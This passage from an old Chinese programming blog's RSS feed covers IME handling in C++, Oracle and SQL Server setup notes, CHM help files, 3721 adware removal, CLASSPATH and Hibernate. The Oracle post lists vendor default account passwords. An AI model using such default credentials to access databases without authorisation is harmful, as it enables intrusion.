#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HIMC&nbsp;hIMC&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;::ImmGetContext(m_hWnd);<BR><IMG id=Codehighlighter1_781_1252_Open_Image onclick="this.style.display='none'; Codehighlighter1_781_1252_Open_Text.style.display='none'; Codehighlighter1_781_1252_Closed_Image.style.display='inline'; Codehighlighter1_781_1252_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><IMG id=Codehighlighter1_781_1252_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_781_1252_Closed_Text.style.display='none'; Codehighlighter1_781_1252_Open_Image.style.display='inline'; Codehighlighter1_781_1252_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">&nbsp;(hIMC)&nbsp;</SPAN><SPAN id=Codehighlighter1_781_1252_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_781_1252_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">const</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;maxLenInputIME&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">200</SPAN><SPAN style="COLOR: #000000">;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wchar_t&nbsp;wcs[maxLenInputIME];<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LONG&nbsp;bytes&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;::ImmGetCompositionStringW(hIMC,<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GCS_RESULTSTR,&nbsp;wcs,&nbsp;(maxLenInputIME</SPAN><SPAN style="COLOR: #000000">-</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">)</SPAN><SPAN style="COLOR: #000000">*</SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000">);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.cnitblog.com/images/dot.gif"><IMG src="http://www.cnitblog.com/images/dot.gif"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;Set&nbsp;new&nbsp;position&nbsp;after&nbsp;converted</SPAN><SPAN style="COLOR: #008000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CPoint&nbsp;pos&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetCurrentPos();<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;COMPOSITIONFORM&nbsp;CompForm;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CompForm.dwStyle&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;CFS_POINT;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CompForm.ptCurrentPos.x&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;pos.x;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CompForm.ptCurrentPos.y&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;pos.y;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::ImmSetCompositionWindow(hIMC,&nbsp;</SPAN><SPAN style="COLOR: #000000">&amp;</SPAN><SPAN style="COLOR: #000000">CompForm);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::ImmReleaseContext(m_hWnd,&nbsp;hIMC);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Default();<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</SPAN></SPAN></DIV>以上三个消息是不做处理也可以，只不过不会支持如微软拼音输入法的跟随功能。<BR><BR>并WM_IME_CHAR和WM_CHAR添加字符。在WM_KEYDOWN中处理特殊字符，如VK_BACK VK_DELTE<img src ="http://www.cnitblog.com/Raistlin/aggbug/5592.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 15:10 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5592.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle的安装和MS SQL Server实例名</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5580.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:32:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5580.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5580.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5580.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5580.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5580.html</trackback:ping><description><![CDATA[<DIV><STRONG>Oracle</STRONG><BR>初始密码：</DIV>
<DIV>internal/oracle</DIV>
<DIV>sys/change_on_install</DIV>
<DIV>system/manager</DIV>
<DIV>scott/tiger</DIV>
<DIV>sysman/oem_temp</DIV>
<DIV>最后一个用户名和密码是用来登录management server。</DIV>
<DIV>&nbsp;</DIV>
<DIV>启动的服务：</DIV>
<DIV>OracleOraHome81Agent、OracleOraHome81ClientCache、OracleOraHome81CMAdmin、OracleOraHome81CMan、OracleOraHome81DataGatherer、OracleOraHome81HTTPServer、OracleOraHome81ManagementServer、OracleOraHome81PagingServer、OracleOraHome81TNSListener、OracleServiceWJHORA</DIV>
<DIV>十个，为了正常运转要开五个-_-</DIV>
<DIV>&nbsp;</DIV>
<DIV>连接方式奇怪，是靠OracleOraHome81TNSListener来监听的，这服务不启动，还什么事都做不了。</DIV>
<DIV>反安装的时候注册表居然不处理，留下一堆服务，一堆实例名。</DIV>
<DIV>要连接到一Oracle服务器，客户端要安装oracle客户端的监听程序。</DIV>
<DIV>&nbsp;</DIV>
<DIV>对于每个实例，在HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\HOME0中都有对应的5个字符串值。而“ORACLE_SID”这个键只记录最新的实例名。<BR><BR><STRONG>MS SQL Server<BR></STRONG></DIV><BR>
<DIV>MS SQL Server(和MSDE) 已安装实例名：<BR>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\InstalledInstances<BR>&nbsp;默认实例名为MSSQLSERVER</DIV>
<DIV>客户端配置及默认实例的配置：<BR>&nbsp;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer<BR>非默认实例的配置：<BR>&nbsp;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\ALJOININSTANCE</DIV>
<DIV>服务启动：<BR>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQL$ALJOININSTANCE<BR>ImagePath ＝ "D:\MICROS~2\MSSQL$~1\binn\sqlservr.exe -sALJOININSTANCE"</DIV>
<DIV>连接到某一个实例名：<BR>&nbsp;当 SQL Server 2000 客户端 Net-Library 连接到 SQL Server 2000 实例时，仅需要运行该实例的计算机所在的网络名和该实例名。当应用程序请求连接远端计算机时，Dbnetlib.dll 将打开到连接中所指定的计算机网络名上的 UDP 端口 1434 的连接。所有运行 SQL Server 2000 实例的计算机都监听此端口。当一个客户端 Dbnetlib.dll 连接到该端口时，服务器将返回一个监听服务器上运行的所有实例的数据包。对于每个实例，该数据包报告该实例正在监听的服务器 Net-Library 和网络地址。应用程序计算机上的 Dbnetlib.dll 收到该数据包后，选择在应用程序计算机和 SQL Server 实例上都启用的 Net-Library，然后连接为此数据包中的 Net-Library 列出的地址。只有在以下情况下该连接尝试才会失败： </DIV>
<DIV>1。请求的 SQL Server 2000 实例未运行。</DIV>
<DIV>2。在应用程序计算机上，SQL Server 2000 实例正在监听的 Net-Library 没有一个是活动的。</DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/5580.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:32 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5580.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC程序使用chm帮助文件</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5579.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:30:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5579.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5579.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5579.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5579.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5579.html</trackback:ping><description><![CDATA[&nbsp;&nbsp; 最近在做一个安装程序。想要弄一个上下文相关帮助。<BR>&nbsp;&nbsp;&nbsp; 一开始想用vc6自带的上下文相关帮助。在建立工程的时候选择context-sensitive help即可。嗯，vc帮我创建了AfxDlg.rtf、setup.cnt、setup.hm、setup.hpj、setup.ph等文件，以为省事了，用word打开AfxDlg.rtf一看，完全不会编辑。看了《inside visual c++》里面的文章，还是一头雾水。<BR>&nbsp;&nbsp;&nbsp; winhelp这老掉牙的东西，在win98年代就被htmlhelp淘汰了，俺还用它干嘛？决定弃暗投明，使用html help workshop来做帮助。html help workshop是一款制作chm文件的工具，微软免费提供，到处有的下。使用起来也方便，比编辑rtf格式要方便多得多，基本方法是把制作好的网页往里面塞，不浪费口舌了。 
<DIV><BR>&nbsp;&nbsp;&nbsp; 用html help workshop制作chm是方便，关键是怎么让它可以"上下文相关"。程序里调用chm帮组文件的api是<BR>&nbsp;&nbsp;&nbsp; HWND HtmlHelp(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD dwData);&nbsp;<BR>&nbsp;&nbsp;&nbsp; 更改App类的WinHelp()方法如下：<BR>&nbsp;void CSetupApp::WinHelp(DWORD dwData, UINT nCmd) <BR>&nbsp;{<BR>&nbsp; ::HtmlHelp(NULL, "E:\\workshop\\setup\\hlp\\chmtest.chm", HH_HELP_CONTEXT, dwData);<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp; 具体文件在哪需要具体分析。这里要说的是这个dwData可是很有来头的，设个断点就可以看个清楚了：<BR>&nbsp;ID_HELP命令的消息路径是：<BR>&nbsp;CWnd::OnWndMsg()<BR>&nbsp;CDialog::OnCommandHelp()</DIV>
<DIV>&nbsp;LRESULT CDialog::OnCommandHelp(WPARAM, LPARAM lParam)<BR>&nbsp;{<BR>&nbsp; if (lParam == 0 &amp;&amp; m_nIDHelp != 0)<BR>&nbsp;&nbsp; lParam = HID_BASE_RESOURCE + m_nIDHelp;//m_nIDHelp就是你的对话框的id哦<BR>&nbsp; if (lParam != 0)<BR>&nbsp; {<BR>&nbsp;&nbsp; CWinApp* pApp = AfxGetApp();<BR>&nbsp;&nbsp; if (pApp != NULL)<BR>&nbsp;&nbsp;&nbsp; pApp-&gt;WinHelp(lParam);//</DIV>
<DIV>&nbsp;&nbsp; return TRUE;<BR>&nbsp; }<BR>&nbsp; return FALSE;<BR>&nbsp;}</DIV>
<DIV>&nbsp;</DIV>
<DIV>如何写CHM:<BR>&nbsp;&nbsp;&nbsp; 现在要做的就是把dwData和想要显示的东西关联起来。</DIV>
<DIV>&nbsp;具体方法是：<BR>&nbsp;1、使用记事本建立一个文本文件，文件名为Map.h。在该文件中输入下面的内容： <BR>&nbsp;#define TOPIC1 100 <BR>&nbsp;#define TOPIC2 200 <BR>&nbsp;这里TOPIC1、TOPIC2是一些常量，100、200是你在API调用时指定的ContextID。 <BR>&nbsp;2、在HTMLHelp Workshop中选择Project标签，点击HtmlHelp API information按钮，在对话框的Map标签中选择Header File按钮，然后选择你前面建立的Map.h文件。 <BR>&nbsp;3、还是在HtmlHelp API information对话框中选择Alias标签，点击Add按钮，在对话框中的Whenever This Constant or number is passed to the HTMLHelp API下输入常量，如TOPIC1。 <BR>&nbsp;4、在Use it to Refer to This HTML File中选择HTML文件，如Topic1.html。 <BR>&nbsp;5、重复3、4两步指定所有文件。 <BR>&nbsp;6、编译文件就可以了。 <BR>&nbsp;（转自<A href="http://www.china-askpro.com/msg44/qa78.shtml">http://www.china-askpro.com/msg44/qa78.shtml</A>）<BR>&nbsp;具体的ContextID不是100，200啊，是HID_BASE_RESOURCE+对话框ID。<BR>&nbsp;查找一下发现：#define HID_BASE_RESOURCE 0x00020000UL ，如果你的对话框ID值是0x0102那就该<BR>&nbsp;#define MYDLGID 0x20102了。</DIV>
<DIV>注：// Help ID bases（afxpriv.h）<BR>#define HID_BASE_COMMAND&nbsp;&nbsp;&nbsp; 0x00010000UL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // ID and IDM <BR>#define HID_BASE_RESOURCE&nbsp;&nbsp; 0x00020000UL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // IDR and IDD<BR>#define HID_BASE_PROMPT&nbsp;&nbsp;&nbsp;&nbsp; 0x00030000UL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // IDP<BR>#define HID_BASE_NCAREAS&nbsp;&nbsp;&nbsp; 0x00040000UL<BR>#define HID_BASE_CONTROL&nbsp;&nbsp;&nbsp; 0x00050000UL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // IDC<BR>#define HID_BASE_DISPATCH&nbsp;&nbsp; 0x00060000UL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // IDispatch help codes</DIV>
<DIV>&nbsp;</DIV>
<DIV>如何调用HtmlHelp:<BR>&nbsp;&nbsp;&nbsp;微软在提供html help workshop的时候提供了调用方法，就是在html help workshop的安装目录下提供了个头文件和静态库，这个库的作用是装载hhctrl.ocx(system32目录下)，调用其中真正的htmlhelp方法。具体见：<BR>&nbsp;<A href="http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml"><FONT color=#003399>http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml</FONT></A></DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/5579.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:30 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5579.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>需求的问题</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5578.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:29:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5578.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5578.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5578.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5578.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5578.html</trackback:ping><description><![CDATA[<DIV>&nbsp;最近为lp写了一个文本选择(学生评语选择)的程序，没解决什么问题，却带来了不少问题：1,一堆bug 2,虽然提供了定制，但不直观,用起来"很麻烦" 3,用户环境的一些问题比如写的权限等Word版本等。 偶lp对计算机不怎么感兴趣对这个程序的兴趣也就是能方便的用。每次问她这个该怎么那个该怎么都没得到想要的答案。最近看了篇文章觉得很有趣:<BR>&nbsp;Trying to get a user to decide between a tree control, a list control, or a group bar is like trying to get a 2 year old to pick what career he wants to take when he/she grows up. It's not that they aren't smart or don't understand their needs, but the question is beyond their scope of understanding. <BR>&nbsp;想要让一个用户在树型控件、列表控件和group bar中做出选择,就像要求一个2岁的孩子决定他/她长大后得哪种癌症一样。不是因为他们不够聪明或者他们不知道自己的需求，这种问题超出了他们能理解的范畴。<BR>&nbsp;然后她现在告诉我这个程序不好用可能是因为出发点本来就不对。在n多语句库中好不容易选择完后还是要修改修饰，让语句通顺贴切，速度比原来快不了多少...<BR>&nbsp;Somehow, when most applications are designed a process is followed that inevitably leads to one or more nice and neat application programs. These may be Windows GUI applications, web apps, or whatever, but the scientist in us developers likes to see straight lines and nice and neat boundaries between systems with well defined lines of intersection, union or whatever.<BR>&nbsp;一般人现在都会觉得windows，ie浏览器用起来就是这么简单这么自然，可是在我看来，这简直就是奇迹。就算是游戏比如Quake,diablo,wow如果和一般的应用程序比较的话真是云泥之别。除了质量上的差别，一般的应用程序和这些东东的重要区别是：编写windows,ie,quake,diablo,wow的人不用从客户那里知道他/她想怎么使用这个软件。同样，编写病毒的高手也不需要问别人希望病毒怎样破坏他的电脑。</DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/5578.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:29 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5578.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>宇宙无敌之无耻病毒</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5577.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:26:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5577.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5577.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5577.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5577.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5577.html</trackback:ping><description><![CDATA[<DIV>昨天lp的机器坏掉，叫我过去修。修好后看到她电脑上有个3721，我本人一向觉得3721这东西没用，就帮她卸载了，她电脑才128M内存，何必为没有用的东西浪费内存和CPU呢。</DIV>
<DIV>&nbsp;</DIV>
<DIV>本来这好好的，没什么事。可俺就有个坏习惯，查看了一下C:\winnt\downlo~1\目录下的文件。这个文件夹在Explorer下是隐藏的，只能在命令行模式下看。一看了不得啊，一堆垃圾，看都不看什么的，直接 del /q *.*。提示CnsHook.dll CnsMin.dll正在被使用，无法删除。打开任务管理器，看到一个rundll32.exe的进程。俺第一反应是中病毒了。虽然本人是菜鸟，但一向是疾恶如仇的。</DIV>
<DIV>&nbsp;</DIV>
<DIV>我想可能是这病毒开了两个进程互相监视，所以文件删除不掉。于是使尽浑身解术，修改注册表，重命名文件，强行删除文件，启动后进入安全模式。失败、失败！而且想找个启动盘居然没软驱。更可恨的，Norton居然对这个特大号病毒视而不见！</DIV>
<DIV>彻底没辙，上网google了一下CnsHook.dll，找到一处，<A href="http://www.txsoft.cn/iso_details.asp?levelid=30.30&amp;ID=843" rel=nofollow><FONT color=#003399>高手清除病毒的过程</FONT></A>。深受教育，原来此病毒就是大名鼎鼎的3721啊，我立马被恶心得想吐，对此公司的超级无耻有了更深刻的认识。</DIV>
<DIV>&nbsp;</DIV>
<DIV>俺对lp说：奇怪居然没人去告这个公司，如此明目张胆的散播病毒，还有没有王法了。</DIV>
<DIV>lp笑着说：据说这个公司的老总和xxx是亲戚呢。</DIV>
<DIV>俺大悟，原来如此，同时对lp的消息如此灵通表示崇拜。</DIV>
<DIV>&nbsp;</DIV>
<DIV>删除完该病毒后，俺庄严的在lp的配置文件C:\winnt\system32\drivers\etc\host后添加:</DIV>
<DIV>127.0.0.1 www.3721.com</DIV>
<DIV>希望世界从此清静了...能吗?或许不能，但请让我把这个恶心的名称永远钉在耻辱柱上！</DIV>
<DIV>&nbsp;</DIV>
<DIV><A href="http://evaxp.com/ksblog/post/607.html"><FONT color=#003399>3721之无耻全面教育</FONT></A>。</DIV>
<DIV>具体自己看，俺来总结一下：</DIV>
<DIV>1，对于在办公室上网的同志，因为3721会把很多黄色网站放在你的地址栏，有些按钮会把你引导到黄色电影网站(?)，所以如果不小心极其影响声誉！</DIV>
<DIV>2，对于想不断提高电脑性能的发烧友，3721会严重影响电脑的性能。稍微负责任的程序是不会乱安装钩子和乱开线程的。</DIV>
<DIV>3，对于电脑配置比较差的，同2</DIV>
<DIV>4，对于想“我的电脑我做主”的，就不用说了，这种强奸民意的病毒杀之而后快。<BR></DIV><img src ="http://www.cnitblog.com/Raistlin/aggbug/5577.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:26 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5577.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CLASSPATH杂记</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5576.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:25:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5576.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5576.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5576.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5576.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5576.html</trackback:ping><description><![CDATA[<P>本来java虚拟机是这么运行的<BR>D:\java -classpath D:\hibernate-3.0\eg org.hibernate.auction.Main </P>
<P>这个命令行将告诉java虚拟机的类装载器从D:\hibernate-3.0\eg\org\hibernate\auction处装载Main.class。<BR>如果省略"-classpath D:\hibernate-3.0\eg"，即D:\java org.hibernate.auction.Main 则类装载器将会从系统环境变量CLASSPATH指定的位置寻找符合条件的Main.class。</P>
<P><BR>如果CLASSPATH为.;D:\jdk150\lib\tools.jar;D:\jdk150\jre\lib\rt.jar;D:\hibernate-3.0\eg<BR>则类装载器先查找当前运行目录(.表示当前目录)，此处为D:\，如果D:\下面有D:\org\hibernate\auction\Main.class，则装载这个文件。如果没有，继续在D:\jdk150\lib\tools.jar文件中寻找是否有路径为org\hibernate\auction\Main.class的文件,如果没有则寻找D:\hibernate-3.0\eg\org\hibernate\auction\Main.class。如果在这些路径中都没找到，就会提示一个鸟错误。注意D:\hibernate-3.0\eg只表示将在此路径下寻找D:\hibernate-3.0\eg\org\hibernate\auction\Main.class文件，不会在此路径下的.jar文件中继续寻找。</P>
<P><BR>据说很多开发环境往往不去读系统路径，直接就java -classpath .....，这也就是在外面运行的东东挺溜的进了开发环境就死菜的原因喽。</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5576.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:25 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5576.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Hibernate的记录</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5575.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 01:23:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5575.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5575.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5575.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5575.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5575.html</trackback:ping><description><![CDATA[<STRONG>我和hibernate的第一次亲密：<BR></STRONG><BR>我用的数据库是mssql，用middlegen稀里哗啦生成一堆文件。编译运行，hibernate报告一堆异常，大概是说，MSSQL JDBC抗议说他不能读取已经读过的字段，所以hibernate不能生成需要的collection。最后icepeak传给我一个JSQLConnect，终于把这个问题解决了。<BR><BR><STRONG>设置hibernate生成定制的主键ID</STRONG>：<BR>
<P>在和hibernate亲密接触之后,我想按照自己的想法来设计组织机构.对于Organ,Department,Post和Stuff.我希望这样设计主键的ID,类型都是char,格式为:<BR>Organ0000000001<BR>Dept0000000001<BR>Post0000000001<BR>Stuff0000000002</P>
<P>修改middlegen产生的.hbm.xml文件:</P>
